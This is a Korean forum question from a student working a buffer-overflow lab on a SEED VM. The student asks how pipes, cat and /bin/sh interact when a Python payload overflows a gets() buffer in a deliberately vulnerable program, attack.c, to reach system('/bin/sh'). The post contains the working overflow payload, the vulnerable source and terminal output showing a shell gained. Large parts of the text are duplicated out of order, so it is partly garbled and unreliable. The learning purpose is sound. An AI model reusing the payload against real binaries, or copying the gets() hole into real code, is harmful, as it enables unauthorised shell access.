버퍼오버플로우 및 파이프라인과 cat명령어에 대한 질문입니다.
-
게시물 수정 , 삭제는 로그인 필요
1. python -c 'print "ls"' | /bin/sh
=> 파이썬 스크립트가 ls를 출력하여 파이프라인을 통하여 /bin/sh쉘의 입력값으로 전달
=> 결과 : 명령어 ls 실행
[01/06/20]seed@VM:~/.../BOF$ python -c 'print"ls"' | /bin/sh
attack bof peda-session-attack.txt peda-session-zsh5.txt sample.c tmp
a.txt bof.c peda-session-getent.txt sample test.c
2. cat | /bin/sh
=> cat 명령어로 표준입출력을 열어 사용자가 입력한 값을 출력값으로 /bin/sh쉘의 입력값으로 전달
=> 결과
[01/06/20]seed@VM:~/.../BOF$ cat | /bin/sh
ls
attack bof peda-session-attack.txt peda-session-zsh5.txt sample.c tmp
a.txt bof.c peda-session-getent.txt sample test.c
exit
3. cat
=> 표준 입력(키보드)을 표준 출력(화면)으로 보냄.
[01/06/20]seed@VM:~/.../BOF$ cat
input
input
4. python -c 'print "cat"' | /bin/sh
=> 파이썬 스크립트가 cat을 출력하여 파이프라인을 통하여 /bin/sh쉘의 입력값으로 전달
=> 아무결과없음
[01/06/20]seed@VM:~/.../BOF$ python -c 'print"cat"' | /bin/sh
[01/06/20]seed@VM:~/.../BOF$
5. (python -c 'print "A"*32+"\x5d\x85\x04\x08"+"\x88\xed\xff\xbf"+"\x5d\x85\x04\x08"+"\xbe\xba\xfe\xca"';cat) | ./attack
[01/06/20]seed@VM:~/.../BOF$ (python -c 'print "A"*32+"\x5d\x85\x04\x08"+"\x88\xed\xff\xbf"+"\x5d\x85\x04\x08"+"\xbe\xba\xfe\xca"';cat) | ./attack
overflow me : Success!
ls
attack bof peda-session-attack.txt peda-session-zsh5.txt sample.c tmp
a.txt bof.c peda-session-getent.txt sample test.c
exit
key : 6804c483
&key : 0x804855d
endfunc
input : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]�����]�����
endmain
Segmentation fault
[01/06/20]seed@VM:~/.../BOF$
// attack.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
=> attack.c의 프로그램 구조는 매개변수 int key값이 \xbe\xba\xfe\xca이면 system(/bin/sh)를 호출할 수 있는 func함수와 func를 호출하는 main(=> 매개변수는 \xbe\xba\xfe\xca가 아님)함수로 이루어져 있습니다.
제가 이해하는 바는 1,2,3번과 같은데 파이브라인의 개념이나 표준입출력 및 cat의 개념등.. 틀린부분이 있나요?
제가 이해하기에 4번에서 "cat"이란 문자를 /bin/sh쉘이 입력받아서 /bin/sh쉘이 cat명령어를 수행하여 3번같이 실행되어야 했는데 아무결과가 없는 이유가 무엇인가요?
5번의 exploit 코드를 실행하여 오버플로우하여 key값을 바꾸어 system(/bin/sh)를 호출 할 때, 파이프라인을 통하여 입력값 2개 (오버플로우를위한 exploit 코드 + 입력을 계속 받기위한 ;cat)가 ./attack의 입력값을 들어갈 때에 2번(cat | /bin/sh)과 같은 결과를 얻을 수 있는 이유를 설명해주세요.
1. python -c 'print "ls"' | /bin/sh
=> 파이썬 스크립트가 ls를 출력하여 파이프라인을 통하여 /bin/sh쉘의 입력값으로 전달
=> 결과 : 명령어 ls 실행
[01/06/20]seed@VM:~/.../BOF$ python -c 'print"ls"' | /bin/sh
attack bof peda-session-attack.txt peda-session-zsh5.txt sample.c tmp
a.txt bof.c peda-session-getent.txt sample test.c
attack bof peda-session-attack.txt peda-session-zsh5.txt sample.c tmp
a.txt bof.c peda-session-getent.txt sample test.c
2. cat | /bin/sh
=> cat 명령어로 표준입출력을 열어 사용자가 입력한 값을 출력값으로 /bin/sh쉘의 입력값으로 전달
=> 결과
[01/06/20]seed@VM:~/.../BOF$ cat | /bin/sh
ls
attack bof peda-session-attack.txt peda-session-zsh5.txt sample.c tmp
a.txt bof.c peda-session-getent.txt sample test.c
exit
ls
attack bof peda-session-attack.txt peda-session-zsh5.txt sample.c tmp
a.txt bof.c peda-session-getent.txt sample test.c
exit
3. cat
=> 표준 입력(키보드)을 표준 출력(화면)으로 보냄.
[01/06/20]seed@VM:~/.../BOF$ cat
input
input
input
input
4. python -c 'print "cat"' | /bin/sh
=> 파이썬 스크립트가 cat을 출력하여 파이프라인을 통하여 /bin/sh쉘의 입력값으로 전달
=> 아무결과없음
[01/06/20]seed@VM:~/.../BOF$ python -c 'print"cat"' | /bin/sh
[01/06/20]seed@VM:~/.../BOF$
5. (python -c 'print "A"*32+"\x5d\x85\x04\x08"+"\x88\xed\xff\xbf"+"\x5d\x85\x04\x08"+"\xbe\xba\xfe\xca"';cat) | ./attack
[01/06/20]seed@VM:~/.../BOF$ (python -c 'print "A"*32+"\x5d\x85\x04\x08"+"\x88\xed\xff\xbf"+"\x5d\x85\x04\x08"+"\xbe\xba\xfe\xca"';cat) | ./attack
overflow me : Success!
ls
attack bof peda-session-attack.txt peda-session-zsh5.txt sample.c tmp
a.txt bof.c peda-session-getent.txt sample test.c
exit
key : 6804c483
&key : 0x804855d
endfunc
input : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]�����]�����
endmain
overflow me : Success!
ls
attack bof peda-session-attack.txt peda-session-zsh5.txt sample.c tmp
a.txt bof.c peda-session-getent.txt sample test.c
exit
key : 6804c483
&key : 0x804855d
endfunc
input : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]�����]�����
endmain
Segmentation fault
[01/06/20]seed@VM:~/.../BOF$
[01/06/20]seed@VM:~/.../BOF$
// attack.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
=> attack.c의 프로그램 구조는 매개변수 int key값이 \xbe\xba\xfe\xca이면 system(/bin/sh)를 호출할 수 있는 func함수와 func를 호출하는 main(=> 매개변수는 \xbe\xba\xfe\xca가 아님)함수로 이루어져 있습니다.
제가 이해하는 바는 1,2,3번과 같은데 파이브라인의 개념이나 표준입출력 및 cat의 개념등.. 틀린부분이 있나요?
제가 이해하기에 4번에서 "cat"이란 문자를 /bin/sh쉘이 입력받아서 /bin/sh쉘이 cat명령어를 수행하여 3번같이 실행되어야 했는데 아무결과가 없는 이유가 무엇인가요?
5번의 exploit 코드를 실행하여 오버플로우하여 key값을 바꾸어 system(/bin/sh)를 호출 할 때, 파이프라인을 통하여 입력값 2개 (오버플로우를위한 exploit 코드 + 입력을 계속 받기위한 ;cat)가 ./attack의 입력값을 들어갈 때에 2번(cat | /bin/sh)과 같은 결과를 얻을 수 있는 이유를 설명해주세요.